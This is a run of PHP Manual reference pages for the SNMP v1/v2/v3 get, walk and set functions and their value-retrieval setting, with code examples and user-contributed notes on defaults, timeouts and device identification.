echo "$a\n";
?>

The above example will output something similar to:

'Timeticks: (0) 0:00:00.00'
'0:00:00.00'

See Also

  • snmp_get_quick_print() - Fetches the current value of the UCD library's quick_print setting

User Contributed Notes

There are no user contributed notes for this page.


Specify the method how the SNMP values will be returned

  • « snmp_set_quick_print
  • snmp2_get »
  • PHP Manual
  • SNMP Functions
  • Specify the method how the SNMP values will be returned

snmp_set_valueretrieval

(PHP 4 >= 4.3.3, PHP 5)

snmp_set_valueretrieval — Specify the method how the SNMP values will be returned

Description

bool snmp_set_valueretrieval ( int $method = SNMP_VALUE_LIBRARY )

Parameters

method
types
SNMP_VALUE_LIBRARY | The return values will be as returned by the Net-SNMP library.
SNMP_VALUE_PLAIN | The return values will be the plain value without the SNMP type hint.
SNMP_VALUE_OBJECT | The return values will be objects with the properties "value" and "type", where the latter is one of the SNMP_OCTET_STR, SNMP_COUNTER etc. constants. The way "value" is returned is based on which one of constants SNMP_VALUE_LIBRARY, SNMP_VALUE_PLAIN is set.

Examples

Example #1 Using snmp_set_valueretrieval()

<?php
 snmp_set_valueretrieval(SNMP_VALUE_LIBRARY);
 $ret = snmpget('localhost', 'public', 'IF-MIB::ifName.1');
 // $ret = "STRING: lo"

 snmp_set_valueretrieval(SNMP_VALUE_PLAIN);
 $ret = snmpget('localhost', 'public', 'IF-MIB::ifName.1');
 // $ret = "lo";

 snmp_set_valueretrieval(SNMP_VALUE_OBJECT);
 $ret = snmpget('localhost', 'public', 'IF-MIB::ifName.1');
 // stdClass Object
 // (
 //   [type] => 4        <-- SNMP_OCTET_STR, see constants
 //   [value] => lo
 // )

 // PHP 5.4+ examples
 snmp_set_valueretrieval(SNMP_VALUE_OBJECT | SNMP_VALUE_PLAIN);
 $ret = snmpget('localhost', 'public', 'IF-MIB::ifName.1');
 // stdClass Object
 // (
 //   [type] => 4        <-- SNMP_OCTET_STR, see constants
 //   [value] => lo
 // )

 snmp_set_valueretrieval(SNMP_VALUE_OBJECT | SNMP_VALUE_LIBRARY);
 $ret = snmpget('localhost', 'public', 'IF-MIB::ifName.1');
 // stdClass Object
 // (
 //   [type] => 4        <-- SNMP_OCTET_STR, see constants
 //   [value] => STRING: lo
 // )

?>

Changelog

Version | Description
5.4.0 | Constants SNMP_VALUE_PLAIN or SNMP_VALUE_LIBRARY may be combined with SNMP_VALUE_OBJECT resulting different way of representing contents of value array element in return value of GET-function. If no SNMP_VALUE_{PLAIN,LIBRARY} constant is accompanying SNMP_VALUE_OBJECT, SNMP_VALUE_LIBRARY is used. Prior to 5.4.0 SNMP_VALUE_OBJECT effecively meant SNMP_VALUE_OBJECT|SNMP_VALUE_PLAIN.

See Also

  • snmp_get_valueretrieval() - Return the method how the SNMP values will be returned
  • Predefined Constants

User Contributed Notes

doug dot manley at gmail dot com 20-Jan-2009 10:04
The default value (if this function is not called) is "SNMP_VALUE_LIBRARY", which seems to be SNMP's built-in way of printing things.

From "snmp.c":
<code>
static PHP_GINIT_FUNCTION(snmp)
{
    snmp_globals->valueretrieval = SNMP_VALUE_LIBRARY;
}
</code>

A mild description of these is:
SNMP_VALUE_LIBRARY: This is a string similar to:
"INTEGER: 42"

SNMP_VALUE_PLAIN: This is a string similar to:
"42"

SNMP_VALUE_OBJECT: This is a PHP object like:
object(
"type" => SNMP_INTEGER,
"value" => 42,
)
Here, "type" is one of the SNMP_* types that are listed under the "Predefined Constants" page.  In addition, types 128, 129, and 130 are error conditions.
Mikhail D 01-Aug-2007 02:26
Sample is swow Interface status.
(.iso.org.dod.internet.mgmt.mib-2.
interfaces.ifTable.ifEntry.ifAdminStatus)
Possible values for this request from MIB:
Enum(integer): up (1), down (2), testing (3)

<?php
//snmp_set_quick_print(0);  // is default
$strIP = "10.1.1.1"; $strComm = "public";
$strOID =  ".1.3.6.1.2.1.2.2.1.7.1";
echo "\n Default valueretrieval with snmp_set_quick_print(0)";
echo " snmp_get_valueretrieval = SNMP_VALUE_LIBRARY";
echo ", retrieved value " .  snmpget($strIP, $strComm, $strOID);
snmp_set_valueretrieval(SNMP_VALUE_LIBRARY);
echo "\n SNMP_VALUE_LIBRARY " . snmp_get_valueretrieval();
echo ", retrieved value " .   snmpget($strIP, $strComm, $strOID);
snmp_set_valueretrieval(SNMP_VALUE_PLAIN);
echo "\n SNMP_VALUE_PLAIN " . snmp_get_valueretrieval();
echo ", retrieved value " .  snmpget($strIP, $strComm, $strOID);

snmp_set_quick_print(1);
echo "\n Default valueretrieval snmp_set_quick_print(0) " ;
snmp_set_valueretrieval(SNMP_VALUE_LIBRARY);
echo "\n SNMP_VALUE_LIBRARY " . snmp_get_valueretrieval();
echo ", retrieved value " .   snmpget($strIP, $strComm, $strOID);
snmp_set_valueretrieval(SNMP_VALUE_PLAIN);
echo "\n SNMP_VALUE_PLAIN " . snmp_get_valueretrieval();
echo ", retrieved value " .  snmpget($strIP, $strComm, $strOID);
?>

Results:
 Default valueretrieval with snmp_set_quick_print(0)
     snmp_get_valueretrieval = SNMP_VALUE_LIBRARY,
 retrieved value up(1)
 SNMP_VALUE_LIBRARY 0, retrieved value up(1)
 SNMP_VALUE_PLAIN 1, retrieved value 1
 Default valueretrieval snmp_set_quick_print(0)
 SNMP_VALUE_LIBRARY 0, retrieved value up
 SNMP_VALUE_PLAIN 1, retrieved value 1
david at eder dot us 24-Jun-2004 09:16
It appears that the possible method constants for this function are:

SNMP_VALUE_LIBRARY
SNMP_VALUE_PLAIN
SNMP_VALUE_OBJECT

If you are harvesting data you probably want SNMP_VALUE_PLAIN.


Fetch an SNMP object

  • « snmp_set_valueretrieval
  • snmp2_getnext »
  • PHP Manual
  • SNMP Functions
  • Fetch an SNMP object

snmp2_get

(PHP 5 >= 5.2.0)

snmp2_get — Fetch an SNMP object

Description

string snmp2_get ( string $host , string $community , string $object_id [, string $timeout = 1000000 [, string $retries = 5 ]] )

The snmp2_get() function is used to read the value of an SNMP object specified by the object_id.

Parameters

host

The SNMP agent.

community

The read community.

object_id

The SNMP object.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns SNMP object value on success or FALSE on error.

Examples

Example #1 Using snmp2_get()

<?php
$syscontact = snmp2_get("127.0.0.1", "public", "system.SysContact.0");
?>

See Also

  • snmp2_set() - Set the value of an SNMP object

User Contributed Notes

There are no user contributed notes for this page.


Fetch the SNMP object which follows the given object id

  • « snmp2_get
  • snmp2_real_walk »
  • PHP Manual
  • SNMP Functions
  • Fetch the SNMP object which follows the given object id

snmp2_getnext

(PHP >= 5.2.0)

snmp2_getnext — Fetch the SNMP object which follows the given object id

Description

string snmp2_getnext ( string $host , string $community , string $object_id [, string $timeout = 1000000 [, string $retries = 5 ]] )

The snmp2_get_next() function is used to read the value of the SNMP object that follows the specified object_id.

Parameters

host

The hostname of the SNMP agent (server).

community

The read community.

object_id

The SNMP object id which precedes the wanted one.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns SNMP object value on success or FALSE on error. In case of an error, an E_WARNING message is shown.

Examples

Example #1 Using snmp2_get_next()

<?php
$nameOfSecondInterface = snmp2_get_next('localhost', 'public', 'IF-MIB::ifName.1';
?>

See Also

  • snmp2_get() - Fetch an SNMP object
  • snmp2_walk() - Fetch all the SNMP objects from an agent

User Contributed Notes

There are no user contributed notes for this page.


Return all objects including their respective object ID within the specified one

  • « snmp2_getnext
  • snmp2_set »
  • PHP Manual
  • SNMP Functions
  • Return all objects including their respective object ID within the specified one

snmp2_real_walk

(PHP >= 5.2.0)

snmp2_real_walk — Return all objects including their respective object ID within the specified one

Description

array snmp2_real_walk ( string $host , string $community , string $object_id [, string $timeout = 1000000 [, string $retries = 5 ]] )

The snmp2_real_walk() function is used to traverse over a number of SNMP objects starting from object_id and return not only their values but also their object ids.

Parameters

host

The hostname of the SNMP agent (server).

community

The read community.

object_id

The SNMP object id which precedes the wanted one.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns an associative array of the SNMP object ids and their values on success or FALSE on error. In case of an error, an E_WARNING message is shown.

Examples

Example #1 Using snmp2_real_walk()

<?php
 print_r(snmp2_real_walk("localhost", "public", "IF-MIB::ifName"));
?>

The above will output something like:

    Array
      (
      [IF-MIB::ifName.1] => STRING: lo
      [IF-MIB::ifName.2] => STRING: eth0
      [IF-MIB::ifName.3] => STRING: eth2
      [IF-MIB::ifName.4] => STRING: sit0
      [IF-MIB::ifName.5] => STRING: sixxs
    )

See Also

  • snmp2_walk() - Fetch all the SNMP objects from an agent

User Contributed Notes

mike dot mackintosh at angrystatic dot com 16-Sep-2011 08:24
Remember that the timeout includes trip time for transport, so setting it too low and sending it across the country will time out and return a 'No response from x.x.x.x'


Set the value of an SNMP object

  • « snmp2_real_walk
  • snmp2_walk »
  • PHP Manual
  • SNMP Functions
  • Set the value of an SNMP object

snmp2_set

(PHP >= 5.2.0)

snmp2_set — Set the value of an SNMP object

Description

bool snmp2_set ( string $host , string $community , string $object_id , string $type , string $value [, string $timeout = 1000000 [, string $retries = 5 ]] )

snmp2_set() is used to set the value of an SNMP object specified by the object_id.

Parameters

host

The hostname of the SNMP agent (server).

community

The write community.

object_id

The SNMP object id.

type

The MIB defines the type of each object id. It has to be specified as a single character from the below list.

types
= The type is taken from the MIB
i | INTEGER
u | INTEGER
s | STRING
x | HEX STRING
d | DECIMAL STRING
n | NULLOBJ
o | OBJID
t | TIMETICKS
a | IPADDRESS
b | BITS

If OPAQUE_SPECIAL_TYPES was defined while compiling the SNMP library, the following are also valid:

types
U | unsigned int64
I | signed int64
F | float
D | double

Most of these will use the obvious corresponding ASN.1 type. 's', 'x', 'd' and 'b' are all different ways of specifying an OCTET STRING value, and the 'u' unsigned type is also used for handling Gauge32 values.

If the MIB-Files are loaded by into the MIB Tree with "snmp_read_mib" or by specifying it in the libsnmp config, '=' may be used as the type parameter for all object ids as the type can then be automatically read from the MIB.

Note that there are two ways to set a variable of the type BITS like e.g. "SYNTAX BITS {telnet(0), ftp(1), http(2), icmp(3), snmp(4), ssh(5), https(6)}":

  • Using type "b" and a list of bit numbers. This method is not recommended since GET query for the same OID would return e.g. 0xF8.
  • Using type "x" and a hex number but without(!) the usual "0x" prefix.

See examples section for more details.

value

The new value.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns TRUE on success or FALSE on failure.

If the SNMP host rejects the data type, an E_WARNING message like "Warning: Error in packet. Reason: (badValue) The value given has the wrong type or length." is shown. If an unknown or invalid OID is specified the warning probably reads "Could not add variable".

Examples

Example #1 Using snmp2_set()

<?php
  snmp2_set("localhost", "public", "IF-MIB::ifAlias.3", "s", "foo");
?>

Example #2 Using snmp2_set() for setting BITS SNMP object id

<?php
  snmp2_set("localhost", "public", 'FOO-MIB::bar.42', 'b', '0 1 2 3 4');
// or
  snmp2_set("localhost", "public", 'FOO-MIB::bar.42', 'x', 'F0');
?>

See Also

  • snmp2_get() - Fetch an SNMP object

User Contributed Notes

jhuebel at gmail dot com 15-Dec-2010 06:31
The "type" parameter must be one of the following, depending on the type of variable to set on the SNMP host:

i    INTEGER
u    unsigned INTEGER
t    TIMETICKS
a    IPADDRESS
o    OBJID
s    STRING
x    HEX STRING
d    DECIMAL STRING

If OPAQUE_SPECIAL_TYPES was defined while compiling the SNMP library, the following are also valid:

U    unsigned int64
I    signed int64
F    float
D    double


Fetch all the SNMP objects from an agent

  • « snmp2_set
  • snmp3_get »
  • PHP Manual
  • SNMP Functions
  • Fetch all the SNMP objects from an agent

snmp2_walk

(PHP >= 5.2.0)

snmp2_walk — Fetch all the SNMP objects from an agent

Description

array snmp2_walk ( string $host , string $community , string $object_id [, string $timeout = 1000000 [, string $retries = 5 ]] )

snmp2_walk() function is used to read all the values from an SNMP agent specified by the hostname.

Parameters

host

The SNMP agent (server).

community

The read community.

object_id

If NULL, object_id is taken as the root of the SNMP objects tree and all objects under that tree are returned as an array.

If object_id is specified, all the SNMP objects below that object_id are returned.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns an array of SNMP object values starting from the object_id as root or FALSE on error.

Examples

Example #1 snm2_pwalk() Example

<?php
$a = snmp2_walk("127.0.0.1", "public", "");

foreach ($a as $val) {
    echo "$val\n";
}

?>

Above function call would return all the SNMP objects from the SNMP agent running on localhost. One can step through the values with a loop

See Also

  • snmp2_real_walk() - Return all objects including their respective object ID within the specified one

User Contributed Notes

Adam 10-Apr-2012 12:26
After some testing, I have found that SNMPWalk is considerably slower than multiple SNMPGet.

I was aiming to retrieve 6 Objects from a MIB; the device being polled was attached via a 100mbps network link.
I decided to run SNMPGet within a loop to retrieve each Object from the specified OID's.
As these OID's were within the same tree, I then thought about using walk as this would consolidate the data into a single request. I then walked the tree to get the same result.

I subsequently testing the time it took to retrieve this information via microtime().
As a result, you can retrieve 1 walk containing 6 OID's within the same time as requesting 18 OIDs via get.

I hope this helps someone whom is looking to speed up their SNMP requests.


Fetch an SNMP object

  • « snmp2_walk
  • snmp3_getnext »
  • PHP Manual
  • SNMP Functions
  • Fetch an SNMP object

snmp3_get

(PHP 4, PHP 5)

snmp3_get — Fetch an SNMP object

Description

string snmp3_get ( string $host , string $sec_name , string $sec_level , string $auth_protocol , string $auth_passphrase , string $priv_protocol , string $priv_passphrase , string $object_id [, string $timeout = 1000000 [, string $retries = 5 ]] )

The snmp3_get() function is used to read the value of an SNMP object specified by the object_id.

Parameters

host

The hostname of the SNMP agent (server).

sec_name

the security name, usually some kind of username

sec_level

the security level (noAuthNoPriv|authNoPriv|authPriv)

auth_protocol

the authentication protocol (MD5 or SHA)

auth_passphrase

the authentication pass phrase

priv_protocol

the privacy protocol (DES or AES)

priv_passphrase

the privacy pass phrase

object_id

The SNMP object id.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns SNMP object value on success or FALSE on error.

Examples

Example #1 Using snmp3_get()

<?php
$nameOfSecondInterface = snmp3_get('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'IF-MIB::ifName.2');
?>

See Also

  • snmp3_set() - Set the value of an SNMP object

User Contributed Notes

There are no user contributed notes for this page.


Fetch the SNMP object which follows the given object id

  • « snmp3_get
  • snmp3_real_walk »
  • PHP Manual
  • SNMP Functions
  • Fetch the SNMP object which follows the given object id

snmp3_getnext

(PHP 5)

snmp3_getnext — Fetch the SNMP object which follows the given object id

Description

string snmp3_getnext ( string $host , string $sec_name , string $sec_level , string $auth_protocol , string $auth_passphrase , string $priv_protocol , string $priv_passphrase , string $object_id [, string $timeout = 1000000 [, string $retries = 5 ]] )

The snmp3_getnext() function is used to read the value of the SNMP object that follows the specified object_id.

Parameters

host

The hostname of the SNMP agent (server).

sec_name

the security name, usually some kind of username

sec_level

the security level (noAuthNoPriv|authNoPriv|authPriv)

auth_protocol

the authentication protocol (MD5 or SHA)

auth_passphrase

the authentication pass phrase

priv_protocol

the privacy protocol (DES or AES)

priv_passphrase

the privacy pass phrase

object_id

The SNMP object id.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns SNMP object value on success or FALSE on error. In case of an error, an E_WARNING message is shown.

Examples

Example #1 Using snmp3_getnext()

<?php
$nameOfSecondInterface = snmp3_getnext('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'IF-MIB::ifName.1');
?>

See Also

  • snmp3_get() - Fetch an SNMP object
  • snmp3_walk() - Fetch all the SNMP objects from an agent

User Contributed Notes

There are no user contributed notes for this page.


Return all objects including their respective object ID within the specified one

  • « snmp3_getnext
  • snmp3_set »
  • PHP Manual
  • SNMP Functions
  • Return all objects including their respective object ID within the specified one

snmp3_real_walk

(PHP 4, PHP 5)

snmp3_real_walk — Return all objects including their respective object ID within the specified one

Description

array snmp3_real_walk ( string $host , string $sec_name , string $sec_level , string $auth_protocol , string $auth_passphrase , string $priv_protocol , string $priv_passphrase , string $object_id [, string $timeout = 1000000 [, string $retries = 5 ]] )

The snmp3_real_walk() function is used to traverse over a number of SNMP objects starting from object_id and return not only their values but also their object ids.

Parameters

host

The hostname of the SNMP agent (server).

sec_name

the security name, usually some kind of username

sec_level

the security level (noAuthNoPriv|authNoPriv|authPriv)

auth_protocol

the authentication protocol (MD5 or SHA)

auth_passphrase

the authentication pass phrase

priv_protocol

the privacy protocol (DES or AES)

priv_passphrase

the privacy pass phrase

object_id

The SNMP object id.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns an associative array of the SNMP object ids and their values on success or FALSE on error. In case of an error, an E_WARNING message is shown.

Examples

Example #1 Using snmp3_real_walk()

<?php
 var_export(snmp3_real_walk('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'IF-MIB::ifName'));
?>

The above will output something like:

array (
  'IF-MIB::ifName.1' => 'STRING: lo',
  'IF-MIB::ifName.2' => 'STRING: eth0',
  'IF-MIB::ifName.3' => 'STRING: eth2',
  'IF-MIB::ifName.4' => 'STRING: sit0',
  'IF-MIB::ifName.5' => 'STRING: sixxs',
)

See Also

  • snmpwalk() - Fetch all the SNMP objects from an agent

User Contributed Notes

Anonymous 26-Jul-2012 07:14
Use this function for debug snmp-connection.

<?php
error_reporting(8191);
date_default_timezone_set('Europe/Moscow');
ini_set('display_errors',1);

snmp_test_connection('12.34.56.78', 'guest', 'guest')

function snmp_test_connection($ip, $user, $pass){
    $a = array('noAuthNoPriv','authNoPriv','authPriv');
    $b = array('MD5','SHA');
    $c = array('DES','AES');

    $branch    = '.1.3.6.1.2.1.1.3'; // upTime

    foreach($a as $aPriv)
        foreach($b as $bProt)
            foreach($c as $cPrivProt){
                echo 'time = '.date('Y-m-d H:i:s').'<br/>';
                echo '<b>sec_level=</b>'.$aPriv.'<br/><b>auth_protocol=</b>'.$bProt.'<br/><b>priv_protocol=</b>'.$cPrivProt.'<br/>Request = ';
                var_dump(
                    snmp3_real_walk($ip, $user, $aPriv, $bProt, $pass, $cPrivProt, $pass, $branch)
                );
            }
}

?>


Set the value of an SNMP object

  • « snmp3_real_walk
  • snmp3_walk »
  • PHP Manual
  • SNMP Functions
  • Set the value of an SNMP object

snmp3_set

(PHP 4, PHP 5)

snmp3_set — Set the value of an SNMP object

Description

bool snmp3_set ( string $host , string $sec_name , string $sec_level , string $auth_protocol , string $auth_passphrase , string $priv_protocol , string $priv_passphrase , string $object_id , string $type , string $value [, int $timeout = 1000000 [, int $retries = 5 ]] )

snmp3_set() is used to set the value of an SNMP object specified by the object_id.

Even if the security level does not use an auth or priv protocol/password valid values have to be specified.

Parameters

host

The hostname of the SNMP agent (server).

sec_name

the security name, usually some kind of username

sec_level

the security level (noAuthNoPriv|authNoPriv|authPriv)

auth_protocol

the authentication protocol (MD5 or SHA)

auth_passphrase

the authentication pass phrase

priv_protocol

the privacy protocol (DES or AES)

priv_passphrase

the privacy pass phrase

object_id

The SNMP object id.

type

The MIB defines the type of each object id. It has to be specified as a single character from the below list.

types
= The type is taken from the MIB
i | INTEGER
u | INTEGER
s | STRING
x | HEX STRING
d | DECIMAL STRING
n | NULLOBJ
o | OBJID
t | TIMETICKS
a | IPADDRESS
b | BITS

If OPAQUE_SPECIAL_TYPES was defined while compiling the SNMP library, the following are also valid:

types
U | unsigned int64
I | signed int64
F | float
D | double

Most of these will use the obvious corresponding ASN.1 type. 's', 'x', 'd' and 'b' are all different ways of specifying an OCTET STRING value, and the 'u' unsigned type is also used for handling Gauge32 values.

If the MIB-Files are loaded by into the MIB Tree with "snmp_read_mib" or by specifying it in the libsnmp config, '=' may be used as the type parameter for all object ids as the type can then be automatically read from the MIB.

Note that there are two ways to set a variable of the type BITS like e.g. "SYNTAX BITS {telnet(0), ftp(1), http(2), icmp(3), snmp(4), ssh(5), https(6)}":

  • Using type "b" and a list of bit numbers. This method is not recommended since GET query for the same OID would return e.g. 0xF8.
  • Using type "x" and a hex number but without(!) the usual "0x" prefix.

See examples section for more details.

value

The new value

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns TRUE on success or FALSE on failure.

If the SNMP host rejects the data type, an E_WARNING message like "Warning: Error in packet. Reason: (badValue) The value given has the wrong type or length." is shown. If an unknown or invalid OID is specified the warning probably reads "Could not add variable".

Examples

Example #1 Using snmp3_set()

<?php
  snmp3_set('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'IF-MIB::ifAlias.3', 's', "foo");
?>

Example #2 Using snmp3_set() for setting BITS SNMP object id

<?php
  snmp3_set('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'FOO-MIB::bar.42', 'b', '0 1 2 3 4');
// or
  snmp3_set('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'FOO-MIB::bar.42', 'x', 'F0');
?>

User Contributed Notes

There are no user contributed notes for this page.


Fetch all the SNMP objects from an agent

  • « snmp3_set
  • snmpget »
  • PHP Manual
  • SNMP Functions
  • Fetch all the SNMP objects from an agent

snmp3_walk

(PHP 4, PHP 5)

snmp3_walk — Fetch all the SNMP objects from an agent

Description

array snmp3_walk ( string $host , string $sec_name , string $sec_level , string $auth_protocol , string $auth_passphrase , string $priv_protocol , string $priv_passphrase , string $object_id [, string $timeout = 1000000 [, string $retries = 5 ]] )

snmp3_walk() function is used to read all the values from an SNMP agent specified by the hostname.

Even if the security level does not use an auth or priv protocol/password valid values have to be specified.

Parameters

host

The hostname of the SNMP agent (server).

sec_name

the security name, usually some kind of username

sec_level

the security level (noAuthNoPriv|authNoPriv|authPriv)

auth_protocol

the authentication protocol (MD5 or SHA)

auth_passphrase

the authentication pass phrase

priv_protocol

the privacy protocol (DES or AES)

priv_passphrase

the privacy pass phrase

object_id

If NULL, object_id is taken as the root of the SNMP objects tree and all objects under that tree are returned as an array.

If object_id is specified, all the SNMP objects below that object_id are returned.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns an array of SNMP object values starting from the object_id as root or FALSE on error.

Examples

Example #1 snmp3_walk() Example

<?php
$ret = snmp3_walk('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'IF-MIB::ifName');
var_export($ret);
?>

Above function call would return all the SNMP objects from the SNMP agent running on localhost:

array (
  0 => 'STRING: lo',
  1 => 'STRING: eth0',
  2 => 'STRING: eth2',
  3 => 'STRING: sit0',
  4 => 'STRING: sixxs',
)

See Also

  • snmp3_real_walk() - Return all objects including their respective object ID within the specified one

User Contributed Notes

There are no user contributed notes for this page.


Fetch an SNMP object

  • « snmp3_walk
  • snmpgetnext »
  • PHP Manual
  • SNMP Functions
  • Fetch an SNMP object

snmpget

(PHP 4, PHP 5)

snmpget — Fetch an SNMP object

Description

string snmpget ( string $hostname , string $community , string $object_id [, int $timeout = 1000000 [, int $retries = 5 ]] )

The snmpget() function is used to read the value of an SNMP object specified by the object_id.

Parameters

hostname

The SNMP agent.

community

The read community.

object_id

The SNMP object.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns SNMP object value on success or FALSE on error.

Examples

Example #1 Using snmpget()

<?php
$syscontact = snmpget("127.0.0.1", "public", "system.SysContact.0");
?>

See Also

  • snmpset() - Set the value of an SNMP object

User Contributed Notes

maxie_ro at do dot not dot spam dot yahoo dot com 25-Jun-2009 03:23
This function can be used to identify devices on a network, by getting their sysObjectID and sysDescr. On short, this is what I did:
<?php
   $sysid = @snmpget($ip, 'public', '.1.3.6.1.2.1.1.2.0', 300);
   if($sysid) {
      $sysdescr = @snmpget($ip, 'public', '.1.3.6.1.2.1.1.1.0', 300);
   }
?>

What I get for equipments, for example:
<?php
   $sysid = 'OID: .iso.3.6.1.4.1.5003.8.1.1.57';// => AudioCodes MP114;
   //.iso.3.6.1.4.1. is a "prefix" for the OID domain
   //5003 is the IANA number for AudioCodes
   //8.1.1.57 identifies the equipment type (MP-114)
   $sysdescr = '"Product: MP-114 FXS;SW Version: 5.00A.024"';
?>
Unfortunately, not all of them report correct objectID, for example they report only the vendor and stop there etc.

In case you are wondering why I used the code '.1.3.6.1.2.1.1.2.0' in the function call instead of "sysObjectID.0", it's because only numeric codes seem to work on Windows. For more codes, google "cisco SNMP Object Navigator".
Have fun.
d dot shereck at gmail dot com 20-Nov-2008 12:24
For those wishing to use v2 or 3

you can consult the php_snmp.h header
here is the list of functions

PHP_FUNCTION(snmpget);
PHP_FUNCTION(snmpgetnext);
PHP_FUNCTION(snmpwalk);
PHP_FUNCTION(snmprealwalk);
PHP_FUNCTION(snmp_get_quick_print);
PHP_FUNCTION(snmp_set_quick_print);
PHP_FUNCTION(snmp_set_enum_print);
PHP_FUNCTION(snmp_set_oid_output_format);
PHP_FUNCTION(snmpset);

PHP_FUNCTION(snmp2_get);
PHP_FUNCTION(snmp2_getnext);
PHP_FUNCTION(snmp2_walk);
PHP_FUNCTION(snmp2_real_walk);
PHP_FUNCTION(snmp2_set);

PHP_FUNCTION(snmp3_get);
PHP_FUNCTION(snmp3_getnext);
PHP_FUNCTION(snmp3_walk);
PHP_FUNCTION(snmp3_real_walk);
PHP_FUNCTION(snmp3_set);

PHP_FUNCTION(snmp_set_valueretrieval);
PHP_FUNCTION(snmp_get_valueretrieval);
ac221 at sussex dot ac dot uk 24-Nov-2007 10:49
Some SNMP agents return mac addresses as hex encoded ascii.

e.g. '30:30:3a:31:37:3a:66:32:3a:39:62:3a:34:36:3a:30:65'

Each octet represents 4 bits of the mac address.
Some vendors may also encode the separators into the string.

Heres a function to convert these strings back into plain hex.

<?php
$hexStr = '30:30:3a:31:37:3a:66:32:3a:39:62:3a:34:36:3a:30:65';

echo(str_replace(':','',hexStr2Ascii($hexStr)));

function hexStr2Ascii($hexStr,$separator = ':'){
    $hexStrArr = explode($separator,$hexStr);
    $asciiOut = null;
    foreach($hexStrArr as $octet){
        $asciiOut .= chr(hexdec($octet));
    }
    return $asciiOut;
}
?>

Outputs: '0017f29b460e'
brunoseys at telenet dot be 02-Oct-2007 01:22
According the SNMPv2-MIB DEFINITIONS the right syntax should be "system.sysContact.0" and NOT "system.SysContact.0" as used in the above example 2251.

SNMPv2-MIB DEFINITIONS
...
sysContact OBJECT-TYPE
SYNTAX DisplayString (SIZE (0..255))
MAX-ACCESS read-write
STATUS current
DESCRIPTION
"The textual identification of the contact person for this
managed node, together with information on how to contact
this person. If no contact information is known, the
value
is the zero-length string."
::= { system 4 }
Malaka Udawatta (malaka13 at gmail dot com) 19-Sep-2007 02:17
When I try to get a 64 bit counter variable (e.g. ifHCInOctets) using snmpget function, following error message was appeared.

Error in packet: (noSuchName) There is no such variable name in this MIB

The solution for this is to use snmp2_get(); function. The prameters are same as snmpget();
Eduardo 12-Apr-2007 09:30
The online documentation says that the function returns "FALSE" on error but, actually, it returns NULL on error.
tridman 21-Nov-2006 11:48
The timeout is in micro seconds. Thus 1.000.000 means 1 Second.
michael dot mauch at gmx dot de 10-Nov-2006 06:07
I have no idea what the timeout value is, but 1 second is really really 1 000 000 000 nano seconds (cf. http://en.wikipedia.org/wiki/SI_prefix).
fbleau 11-Jul-2006 08:15
The default value of Timeout is 1000000  nanoseconde (1 sec) and the retrie is 5 thsi value is set by Net-SNMP library.

#!/usr/local/bin/php
<?php
 $time_start = microtime(true);
 $reponse = snmpget('10.5.1.1', 'public', "1.3.6.1.2.1.1.3.0",1000000,5);
 $time_end = microtime(true);
 $time = $time_end - $time_start;

 echo "Delay in $time secondes\n";
?>
Jim 14-May-2006 04:52
Unfortunately, It appears that you can not put multiple objects into the snmpget function, ie: sysUpTime.0 ifInOctets.1 ifOutOctets.1.  For what it's worth, the time argument is in nano-seconds as previously mentioned.  There is a lot of conflicting information out there about this.
dstjohn-NO-SPAM at mediacast1 dot com 11-Sep-2005 11:16
2 year tidbit update :)

<?php
// author: dstjohn at mediacast1.com
// updated: 09-11-2005
// set some vars
$snmpcommunity = 'PUBLIC'; //snmp community name
$ips = 'test1.com,test2.com'; //ips or dns to get snmp data from
$system_number = '1';
//end da vars

//start da loop d loop
for ($i = 0; $i <= $system_number; $i++) {
$sysip = explode(",",$ips);

//get system name
$sysname[0] = snmpget($sysip[$i], $snmpcommunity, "sysName.0");
$sysname[1] = eregi_replace("STRING:","",$sysname[0]);
echo 'System Name: '.$sysname[1].'<br>';

//system description
$sysdesc[0] = snmpget($sysip[$i], $snmpcommunity, "sysDescr.0");
$sysdesc[1] = eregi_replace("STRING:","",$sysdesc[0]);
echo 'System Description: '.$sysdesc[1].'<br>';

//system location
$sysloc[0] = snmpget($sysip[$i], $snmpcommunity, "sysLocation.0");
$sysloc[1] = eregi_replace("STRING:","",$sysloc[0]);
echo 'System Location: '.$sysloc[1].'<br>';

//current tcp connections
$tcpcons[0] = snmpget($sysip[$i], $snmpcommunity, "tcpCurrEstab.0");
$tcpcons[1] = eregi_replace("Gauge32:","",$tcpcons[0]);
echo 'Open TCP/IP Connections: '.$tcpcons[1].'<br>';

//get system uptime
$sysuptime[0] = snmpget($sysip[$i], $snmpcommunity, "system.sysUpTime.0");
$sysuptime[1] = eregi_replace("Timeticks:","",$sysuptime[0]);
echo 'System Uptime: Timeticks -'.$sysuptime[1].'<br>';

//windows only
//installed memory
if(eregi('Windows',$sysdesc[1])){
$mem[0] = snmpget($sysip[$i], $snmpcommunity, "HOST-RESOURCES-MIB::hrMemorySize.0");
$mem[1] = eregi_replace("INTEGER:","",$mem[0]);
$mem[2] = eregi_replace("KBytes","",$mem[1]);
echo 'Insalled Memory: '.$mem[2].' KiloBytes<br>';
}

echo '<br><br>';
}//end loop

?>
Johann Glaser 22-Feb-2004 09:39
